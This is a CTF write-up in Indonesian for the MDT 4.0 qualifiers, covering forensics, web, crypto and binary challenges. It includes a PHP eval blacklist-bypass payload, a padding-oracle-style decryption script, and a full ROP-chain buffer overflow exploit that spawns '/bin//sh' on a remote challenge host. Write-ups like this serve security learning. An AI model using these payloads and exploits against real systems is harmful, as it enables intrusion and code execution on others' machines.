MDT4.0 - You Know, I Wumbo, You Wumbo, He She Me Wumbo, Wumbo, Wumboing, We'll Have Thee Wumbo, Wumborama, Wumbology, The Study of Wumbo

Download as pdf or txt
Download as pdf or txt
You are on page 1of 43

WriteUp Penyisihan MDT 4.

0 CTF

Tim

You know, I wumbo, You wumbo, He she


me wumbo, wumbo, Wumboing, We'll have
thee wumbo, Wumborama, Wumbology, The
study of wumbo
Table Of Contents

Forensic 3
Echo-shell 3

Web 9
Lame Calc 9

Cryptography 14
Baby Key 14
Unpredictable 18

Binary Exploitation 26
Baby Echo 26
Baby UAF 35
Forensic
Echo-shell

Diberikan file bernama shell.pcap dan server.py, setelah ditelusuri lebih lanjut ternyata pcap
dump yang diberikan ternyata berasal dari komunikasi “shell” yang terenkripsi dari
client(IP:172.39.0.1) dan server(IP:172.39.0.1).

Selanjutnya kami baca baca code dari server.py. Apabila ditelusuri, alur bagaimana client dan
server berkomunikasi sebagai berikut:

CLIENTrequest:
<length>(4bytes)
"PING"(4bytes)
LZMA.compress(<shell_command>)

SERVERresponse:
<length>(4bytes)
"PONG"(4bytes)
LZMA.compress(<AES_IV>(16bytes) + <encrypted_data>)
<checksum>(4bytes)
Untuk enkripsi yang digunakan menggunakan AES CBC dengan key yang berasal python
random dengan seed sama dengan TIME saat CLIENT melakukan request. Untuk
mengetahui command yang dikirimkan dan bagaimana SERVER merespon kami
menggunakan script python seperti berikut
import re
import os
import zlib
import struct
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from scapy.all import *

from binascii import unhexlify

def randstr(seed, size=32):


random.seed(seed)
return bytearray(random.getrandbits(8) for _ in range(size))

def decrypt(encrypted, seed=None):


iv = encrypted[:16]
data = encrypted[16:]
key = randstr(seed)
enc = AES.new(bytes(key), AES.MODE_CBC, iv)
return enc.decrypt(data)

req_data = []
res_data = []

def read_packet_req(data):
try:
data = data[8:]
data = zlib.decompress(data)
except :
data = 'INVALID'

req_data.append(data)

def read_packet_res(packet_before_time, data):


if data != b'Something went wrong?':
try:
data = data[8:-4]
data = zlib.decompress(data)
data = decrypt(data, packet_before_time)
data = unhexlify(unpad(data,16))

except:
data = 'INVALID'
else:
data = 'INVALID'

res_data.append(data)
res_ip = "172.39.0.2"
req_ip = "172.39.0.1"

scapy_cap = rdpcap('shell.pcap')

req_packet_times = []
for packet in scapy_cap:
time = int(packet.time)
src = packet[IP].src

data = packet[ICMP].load

if src == res_ip:
read_packet_res(req_packet_times.pop(0), data)

elif src == req_ip:


read_packet_req(data)
req_packet_times.append(time)

else:
print("IP INVALID")

for i in range(len(req_data)):
req = req_data[i]
if(req != "INVALID"):
req = req.decode("utf-8")
print("PING: ",req)
print("PONG: ",res_data[i])

Didapatkan keluaran seperti berikut


Jika dilihat pada output script tersebut bisa diketahui bahwa
terdapat nama nama file yang sepertinya penting seperti
“flag.zip” dan “password.txt”. Selain itu CLIENT mengirimkan
beberapa command “dd” dimana SERVER merespon dengan byte-byte
yang keluar dari proses “dd”.

Dari situ kami mencoba untuk menggabungkan semua respon yang


berasal dari command “dd” menjadi file yang sesuai dengan
filenamenya, dengan mengubah script python di atas tadi
menjadi berikut

import re
import os
import zlib
import struct
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from scapy.all import *

from binascii import unhexlify

def randstr(seed, size=32):


random.seed(seed)
return bytearray(random.getrandbits(8) for _ in range(size))

def decrypt(encrypted, seed=None):


iv = encrypted[:16]
data = encrypted[16:]
key = randstr(seed)
enc = AES.new(bytes(key), AES.MODE_CBC, iv)
return enc.decrypt(data)

req_data = []
res_data = []

def read_packet_req(data):

try:
data = data[8:]
data = zlib.decompress(data)
except :
data = 'INVALID'

req_data.append(data)
def read_packet_res(packet_before_time, data):

if data != b'Something went wrong?':


try:
data = data[8:-4]
data = zlib.decompress(data)
data = decrypt(data, packet_before_time)
data = unhexlify(unpad(data,16))

except:
data = 'INVALID'
else:
data = 'INVALID'

res_data.append(data)

res_ip = "172.39.0.2"
req_ip = "172.39.0.1"

scapy_cap = rdpcap('shell.pcap')

req_packet_times = []
for packet in scapy_cap:
time = int(packet.time)
src = packet[IP].src

data = packet[ICMP].load

if src == res_ip:
read_packet_res(req_packet_times.pop(0), data)

elif src == req_ip:


read_packet_req(data)
req_packet_times.append(time)

else:
print("IP INVALID")

def get_param(arr, type):


for text in arr:
if(text[:len(type)] == type):
return text.split("=")[1]
return None;

flag_data = []
password_data = []

for i in range(len(req_data)):
req = req_data[i]
if(req != "INVALID"):
req = req.decode("utf-8")
print("PING: ",req)
print("PONG: ",res_data[i])

req = req.split(" ")


if(req[0]=="dd"):
file_name = get_param(req, "if")
batch_size = get_param(req, "bs")
skip = get_param(req, "skip")
offset = int(batch_size)*int(skip)
data = res_data[i]

if(file_name == "files/flag.zip"):
flag_data.append([offset, data])
elif(file_name == "files/password.txt"):
password_data.append([offset, data])

flag_sorted = sorted(flag_data,key=lambda x: (x[0],x[1]))


password_sorted = sorted(password_data,key=lambda x: (x[0],x[1]))

with open('flag.zip', 'ab') as flag_file:


for data in flag_sorted:
flag_file.write(data[1])

with open('password.txt', 'ab') as passwd_file:


for data in password_sorted:
passwd_file.write(data[1])

Setelah itu kami mendapatkan file flag.zip dan password.txt.


Kami buka flag.zip menggunakan password yang berada di
password.txt dan kami mendapatkan file image yang berisikan
flag bernama flag.png

Flag : MDT4.0{th3se_feels__ls_echoing_f3ae9721da}
Web
Lame Calc

Diberikan sebuah web service beserta source code-nya. Berikut


tampilan dari web tersebut.

Dari source code yang diberikan, yaitu index.php, diketahui


bahwa web tersebut memanggil fungsi eval dari input yang
disediakan oleh user, hanya saja, terdapat beberapa karakter
yang diblacklist.

<form action="/" method="POST">


Enter your equation : <br>
<input type="text" name="equation"><br>
<input type="submit" name="submit" value="Submit">
</form>

<?php

if (isset($_POST["equation"])){
$eq = $_POST["equation"];

if (strlen($eq) > 57){


die("Too long !");
}

if(preg_match("/\~|\&|\||\[|\]|\.|\`|\'|\||\+|\-|\>|\?|\<|\//i",$e
q)){
die("Bad Char !");
}

eval("echo " . $eq . " ;");

?>

Karena yang diblacklist hanya parameter equation, maka untuk


bypass blacklist yang diberikan, kami gunakan perintah
equation=$a;eval(array_pop($_POST)) untuk mengeksekusi
perintah dari argumen lain yang dikirim pada POST request.

Nah setelah melakukan penelusuran, banyak fungsi yang


diblacklist, antara lain:
- system dan sebagainya (passthru, shell_exec, dll)
- scandir
- read_dir
- glob
Namun eval tidak diblacklist. Setelah melakukan googling
beberapa saat, kami menemukan alternatif lain untuk melakukan
list directory yaitu dengan perintah di bawah.

$c= glob:///<path>/*;
$a= new DirectoryIterator($c);
foreach($a as $f) echo+$f->__toString();

Tinggal jalankan saja sebagai payload yang di-wrap dengan


eval. Ditemukan terdapat folder sik.ret.
Selanjutnya, coba lihat isi dari folder sik.ret tersebut
dengan payload yang serupa dengan sebelumnya.
Terdapat flag.txt, langsung buka dengan mengunjungi
http://103.152.242.222:20001/sik.ret/flag.txt.

Flag
MDT4.0{lame_calc_chall_yes_it_is}
Cryptography
Baby Key

Permasalahan:

Pada script di atas terlihat bahwa algoritma enkripsi yang

digunakan adalah RSA dengan publik key e dan n didapat dari

key.pem. Flag dengan format little endian pada awalnya

dikonversi ke dalam bentuk bilangan oktal kemudian baru

dilakukan enkripsi dengan public key tersebut lalu

representasi dari bilangan tersebut dikonversi ke byte/string

dalam dari format little endian.


Solusi:

Setelah dilakukan analisis ternyata nilai E sangat besar

sehingga dalam hal ini bisa dilakukan wiener attack

https://gist.github.com/mananpal1997/73d07cdc91d58b4eb5c818aaa

b2d38bd. Berikut solver yang kami gunakan.

#!/usr/bin/env python3

from Crypto.PublicKey import RSA


from gmpy2 import digits
from Crypto.Util.number import long_to_bytes
from binascii import unhexlify

key = RSA.import_key(open('key.pem').read())
enc = int.from_bytes(open('flag.enc', 'rb').read(), 'little')
print(enc)
print("E : ", key.e)
e = key.e
print("N : ", key.n)
n= key.n
# enc = int.to_bytes(pow(msg, key.e, key.n), 128, 'little')
# open('flag.enc', 'wb').write(enc)

def rational_to_contfrac(x, y):


# Converts a rational x/y fraction into a list of partial
quotients [a0, ..., an]
a = x // y
pquotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
pquotients.append(a)
return pquotients

def convergents_from_contfrac(frac):
# computes the list of convergents using the list of
partial quotients
convs = []
for i in range(len(frac)):
convs.append(contfrac_to_rational(frac[0: i]))
return convs

def contfrac_to_rational(frac):
# Converts a finite continued fraction [a0, ..., an] to
an x/y rational.
if len(frac) == 0:
return (0, 1)
num = frac[-1]
denom = 1
for _ in range(-2, -len(frac) - 1, -1):
num, denom = frac[_] * num + denom, num
return (num, denom)

def egcd(a, b):


if a == 0:
return (b, 0, 1)
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)

def mod_inv(a, m):


g, x, _ = egcd(a, m)
return (x + m) % m

def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def crack_rsa(e, n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)

for (k, d) in convergents:


if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
# check if x*x - s*x + n = 0 has integer roots
D = s * s - 4 * n
if D >= 0:
sq = isqrt(D)
if sq * sq == D and (s + sq) % 2 == 0:
return d

d = crack_rsa(e, n)
print("D : ", d)
m = pow(enc, d, n)
m = int(str(m), 8)
print(m)
print(long_to_bytes(m)[::-1])

Flag MDT4.0{small_d__i_mean_d_as_RSA_private_key}
Unpredictable
Permasalahan:
Diberikan service nc dengan source server.py. Algoritma
enkripsi yang digunakan adalah AES-CBC dengan key size 128
bit. Key dan IV diperoleh secara random. Meskipun flag
terenkripsi (menu 1), flag juga bisa didekripsi dengan
menggunakan menu 3, namun hasil dekripsinya merupakan SHA256.
Solusi:
Vulnerability pada soal ini terdapat pada fungsi unpad dan
penggunaan mode operasi CBC. Sistem akan melakukan dekripsi
pada ciphertext yang diberikan kemudian dilakukan unpad pada
plaintext dengan melihat nilai pada byte terakhir plaintext.

Karena penggunaan mode operasi CBC membutuhkan block


ciphertext pada block sebelumnya maka jika user memiliki akses
untuk melakukan perubahan pada block ciphertext sebelumnya
nilai akhir pada block ciphertext bisa di kontrol.

Karena user mempunyai mempunyai akses untuk melakukan enkripsi


pada menu 2, user bisa melakukan perubahan block ciphertext
yang telah dihasilkan sebelumnya (menu 1). Plaintext recovery
bisa dilakukan dengan mengatur nilai akhir blok ciphertext
secara bertahap satu persatu. Kemudian nilai SHA256 hasil
dekripsi pada menu 3 dicocokkan dengan tiap tebakan dari user.

Skema:
Recovery byte pertama

IV + ciphertex -> 15 blok ciphertext asli+ 1 byte yang


dikontrol + ciphertext asli

Dilakukan dekripsi sehingga menjadi:

1 byte plaintext asli (target) + 14 byte plaintext asli + 1


byte pad

Ketiak dihasilkan 1 byte pad yang bernilai \x15 pada skema


pertama ini maka plaintext yang dihasil adalah 1 byte
plaintext asli (target).

Plaintext ini kemudian dilakukan operasi SHA256. Kemudian user


melakukan brute force pada 1 byte karakter ini yang nilainya
sama dengan nilai SHA256 pada byte plaintext target. Ketika
nilai SHA256 dari hasil brute force sama dengan nilai SHA256
plaintext target maka tebakan user bernilai benar sehingga
nilai 1 byte target didapatkan.

Recovery bye kedua


IV + ciphertex -> 15 blok ciphertext asli+ 1 byte yang
dikontrol + ciphertext asli
Dilakukan dekripsi sehingga menjadi:

1 byte plaintext asli (telah didapatkan) + 1 byte plaintext


asli (target byte kedua) + 13 byte plaintext asli + 1 byte pad

Ketiak dihasilkan 1 byte pad yang bernilai \x14 pada skema


pertama ini maka plaintext yang dihasilkan adalah 1 byte
plaintext asli (telah didapatkan) + 1 byte plaintext asli
(target byte kedua).

Plaintext ini kemudian dilakukan operasi SHA256. Kemudian user


melakukan brute force pada 1 byte karakter (pada byte kedua)
ini yang nilainya sama dengan nilai SHA256 pada byte plaintext
target. Ketika nilai SHA256 dari hasil brute force sama dengan
nilai SHA256 plaintext target maka tebakan user bernilai benar
sehingga nilai 1 byte plaintext target (pada byte kedua)
didapatkan.

Selanjutnya untuk mendapatkan byte ketiga dan seterusnya


dilakukan hal yang sama seperti pada langkah di atas.
Berikut solver yang kami gunakan

#!/usr/bin/python2
from pwn import *

from Crypto.Hash import SHA256

def connect():
# r = process("./server.py")
r = remote("103.152.242.222", 30001)
return r
r = connect()
print(r.recvuntil("------------------------------"))
r.sendlineafter("> ", str(1))
print(r.recvuntil("| Encrypt(FLAG): "))
ciphertext = r.recvline().strip().decode('hex')
print(ciphertext)
r.close()

block_ct = []
for i in range(0, len(ciphertext), 16):
block_ct.append(ciphertext[i:i+16])
# exit()
flag = ""
charset =
"QWERTYUIOPASDFGHJKLZXCVBNM._1234567890-+?@}{qwertyuiopasdfgh
jklzxcvbnm"
for i in range(len(block_ct)):
check = {}
plaintext = ""
for j in range(16):
r = connect()
r.recvuntil("------------------------------")
r.sendlineafter("> ", str(1))
r.recvuntil("| Encrypt(FLAG): ")
ciphertext = r.recvline().strip().decode('hex')
ciphertext.encode('hex')

tmp = ciphertext[i*16:i*16+16]
target = ciphertext[(i+1)*16:(i+1)*16+16]

if j in check.keys():
break
check[j] = {}
for k in range(j+1):
if k in check[j].keys():
break
check[j][k] = {}
for char in charset:

check[j][k][SHA256.new(plaintext+char).hexdigest()] =
plaintext+char
for l in range(256):
# print("Iterasi ke: ", l)
r.sendlineafter("> ", str(3))
iv = tmp[:-1] + chr(l)
# print("IV :", iv)
encodedHex = (iv + target).encode('hex')
# print("target :", target.encode('hex'))
# print("encodedHex :", encodedHex.encode('hex'))
r.sendlineafter("| ct: ", encodedHex)
r.recvuntil("| SHA256(Decrypt(ct)): ")
hash = r.recvline().strip()
# print("Hash: ", hash)
if hash in check[j][k].keys():
print("Plaintext: ", plaintext)
plaintext = check[j][k][hash]
print("Flag: ", flag)
break
del check[j]
r.close()
flag+=plaintext
if "}" in flag:
print(flag)
exit()

Setelah melakukan pengecekkan flag ternyata masih terdapat 2


karakter yang tidak bisa didapatkan yaitu pada byte terakhir
pada akhir block. Dari sini kami mencoba untuk menebak 2
karakter tersebut sehingga didapatkan flag
MDT4.0{We_g0t_a_one_w4y_tick3t_to_66efd9e}.

Flag MDT4.0{We_g0t_a_one_w4y_tick3t_to_66efd9e}
Binary Exploitation
Baby Echo

Diberikan file binary yang ternyata statically linked beserta


source code nya dalam bahasa C.

// gcc -fpie -static-pie -o chall chall.c && strip chall


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
unsigned int n;
int i,c;
char buf[32];
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
while(1) {
printf("[1] Set Buf\n");
printf("[2] Print Buf\n");
printf("[3] Exit\n");
printf("> ");
scanf("%d", &c);
switch(c) {
case 1:
printf("How much? ");
scanf("%u", &n);
read(0, buf, n);
break;
case 2:
printf("%s\n", buf);
break;
default:
goto done;
}

}
done:
printf("Bye @,@ ~!");
return 0;
}

Yak terlihat sekali kita bisa melakukan buffer overflow dengan


fungsi nomor 1 karena tidak ada batasan panjang input yang
diberikan serta leak address dengan fungsi nomor 2.

Sehingga flow exploitasi cukup jelas:


1. Leak canary
2. Leak base address
3. Generate ropchain (dapat menggunakan ropchain)
4. Get shell

Berikut solver yang kami gunakan.


#!/usr/bin/python3
from pwn import *
import sys

HOST = '103.152.242.222'
PORT = 4401
BINARY = './chall'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-h']

def padu64(b):
while(len(b) < 8):
b = b + b'\x00'
return b

def read_mem_map(pid):
with open(f'/proc/{pid}/maps') as f:
x = f.readlines()
return x

def set_buf(r, n, content):


r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'How much? ')
r.sendline(str(n))
r.send(content)
return True

def print_buf(r):
r.recvuntil(b'> ')
r.sendline(b'2')
content = r.recvuntil(b'\n[1] Set Buf')[:-len('\n[1] Set
Buf')]
return content

if __name__ == '__main__':
if(len(sys.argv) != 2 or sys.argv[1] not in ['local',
'remote']):
print('[+] Usage: play.py [local|remote]')
elif(sys.argv[1] == 'local'):
r = process(BINARY)
# gdb.attach(r)

# leak canary
leak_canary_payload = 'A'*41
set_buf(r, 41, leak_canary_payload)
canary = b'\x00' + print_buf(r)[41:41+7]
canary = u64(canary)

# leak base addr


leak_base_payload = 'A'*56
set_buf(r, 56, leak_base_payload)
ret = u64(print_buf(r)[56:]+b'\x00\x00')
base = ret - 43616
log.info(f'BASE {hex(base)}')

# leak stack addr

leak_stack_payload = 'A'*80
set_buf(r, 80, leak_stack_payload)
stack = u64(print_buf(r)[80:]+b'\x00\x00')
log.info(f'STACK {hex(stack)}')

# pwn
ret_inst = p64(base + 0x000000000000901a)
p = b'A'*40
p += p64(canary)
p += b'A'*8
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb000) # @ .data
p += p64(base+0x00000000000621c7) # pop rax ; ret
p += b'/bin//sh'
p += p64(base+0x00000000000a8985) # mov qword ptr [rsi], rax
; ret
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000056db9) # xor rax, rax ; ret
p += p64(base+0x00000000000a8985) # mov qword ptr [rsi], rax
; ret
p += p64(base+0x0000000000009c6a) # pop rdi ; ret
p += p64(base+0x00000000000eb000) # @ .data
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000009b6f) # pop rdx ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000056db9) # xor rax, rax ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x0000000000009663) # syscall
set_buf(r, len(p), p)
r.interactive()
else:
r = remote(HOST, PORT)

# leak canary
leak_canary_payload = 'A'*41
set_buf(r, 41, leak_canary_payload)
canary = b'\x00' + print_buf(r)[41:41+7]
canary = u64(canary)
# leak base addr
leak_base_payload = 'A'*56
set_buf(r, 56, leak_base_payload)
ret = u64(print_buf(r)[56:]+b'\x00\x00')
base = ret - 43616
log.info(f'BASE {hex(base)}')

# pwn
ret_inst = p64(base + 0x000000000000901a)
p = b'A'*40
p += p64(canary)
p += b'A'*8
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb000) # @ .data
p += p64(base+0x00000000000621c7) # pop rax ; ret
p += b'/bin//sh'
p += p64(base+0x00000000000a8985) # mov qword ptr [rsi], rax
; ret
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000056db9) # xor rax, rax ; ret
p += p64(base+0x00000000000a8985) # mov qword ptr [rsi], rax
; ret
p += p64(base+0x0000000000009c6a) # pop rdi ; ret
p += p64(base+0x00000000000eb000) # @ .data
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000009b6f) # pop rdx ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000056db9) # xor rax, rax ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x0000000000009663) # syscall
set_buf(r, len(p), p)
r.interactive()

Shell akan tertrigger setelah kita memilih menu 3 yaitu exit.

Flag
MDT4.0{jU5t_4n_e3sy_m0de3rn_bufferoverflow}
Baby UAF

Seperti judulnya, diberikan sebuah binary file dengan


vulnerability Use After Free beserta source code nya.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
unsigned long int read_int();
void readline(char* buf, unsigned int size);
typedef struct {
unsigned int size;
char* buf;
} ss;
ss* arr[8];
int menu() {
printf("[1] Alloc\n");
printf("[2] Edit\n");
printf("[3] Print\n");
printf("[4] Delete\n");
printf("[5] Exit\n");
printf("> ");
return (int)read_int();
}

void readline(char* buf, unsigned int size) {


int n = read(0, buf, size);
if(n < 0) {
fprintf(stderr, "read error\n");
exit(1);
}
if(n == 0) return;
buf[n-1] = '\0';
}

unsigned long int read_int() {


char buf[21];
memset(buf, 0, sizeof(buf));
readline(buf, 20);
return strtoul(buf, NULL, 10);
}

static unsigned int get_idx() {


unsigned int idx = (unsigned int)read_int();
if(idx >= 8) {
fprintf(stderr, "Index too large\n");
exit(1);
}
return idx;
}

int main(void) {
int c, idx;
unsigned int size;
char* buf;
ss* tmp;
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
while(1) {
c = menu();
switch(c) {
case 1:
printf("idx: ");
idx = get_idx();
if(arr[idx] != NULL ) {
printf("Already allocated\n");
break;
}
if(!(tmp = malloc(sizeof(ss)))) {
fprintf(stderr, "malloc error\n");
exit(1);
}
printf("set size: ");
size = read_int();
if(size < 0x410 || size > 0x800) {
fprintf(stderr, "Too large or Too
small\n");
exit(1);
}
if(!(buf = malloc(size))) {
fprintf(stderr, "malloc error\n");
exit(1);
}
printf("set content: ");
readline(buf, size);
tmp->buf = buf;
tmp->size = size;
arr[idx] = tmp;
printf("done\n");
break;
case 2:
printf("idx: ");
idx = get_idx();
if(arr[idx] == NULL) {
printf("not allocated\n");
break;
}
printf("set content: ");
readline(arr[idx]->buf, arr[idx]->size);
break;
case 3:
printf("idx: ");
idx = get_idx();
if(arr[idx] == NULL) {
printf("not allocated\n");
break;
}
printf("content: %s\n", arr[idx]->buf);
break;
case 4:
printf("idx: ");
idx = get_idx();
if(arr[idx] == NULL) {
printf("not allocated\n");
break;
}
free(arr[idx]->buf);
break;
case 5:
printf("Bye Q·Q ~!\n");
goto done;
}
}
done:
return 0;
}

Seperti yang terlihat pada source code, free hanya


diaplikasikan ke buffer dari elemen array dan bukan indexnya,
sehingga kita dapat memanfaatkan buffer yang telah di-free.
Selanjutnya karena ukuran buffernya antara 0x410 dengan 0x800,
maka hasil malloc akan masuk ke unsorted bin (cmiiw?) dan bisa
langsung leak address libc melalui fd pointer (cmiiw?, kurang
paham juga soal internal malloc).
Nah kita bisa mengalokasikan 7 buah buffer dengan ukuran sama,
lalu delete buffer untuk leak address, kemudian alokasikan
buffer ke-8 yang alamatnya akan overlap dengan salah satu
buffer sebelumnya (yang telah difree). Nah dari sini dapat
dimanfaatkan untuk mendapatkan write-what-where condition.
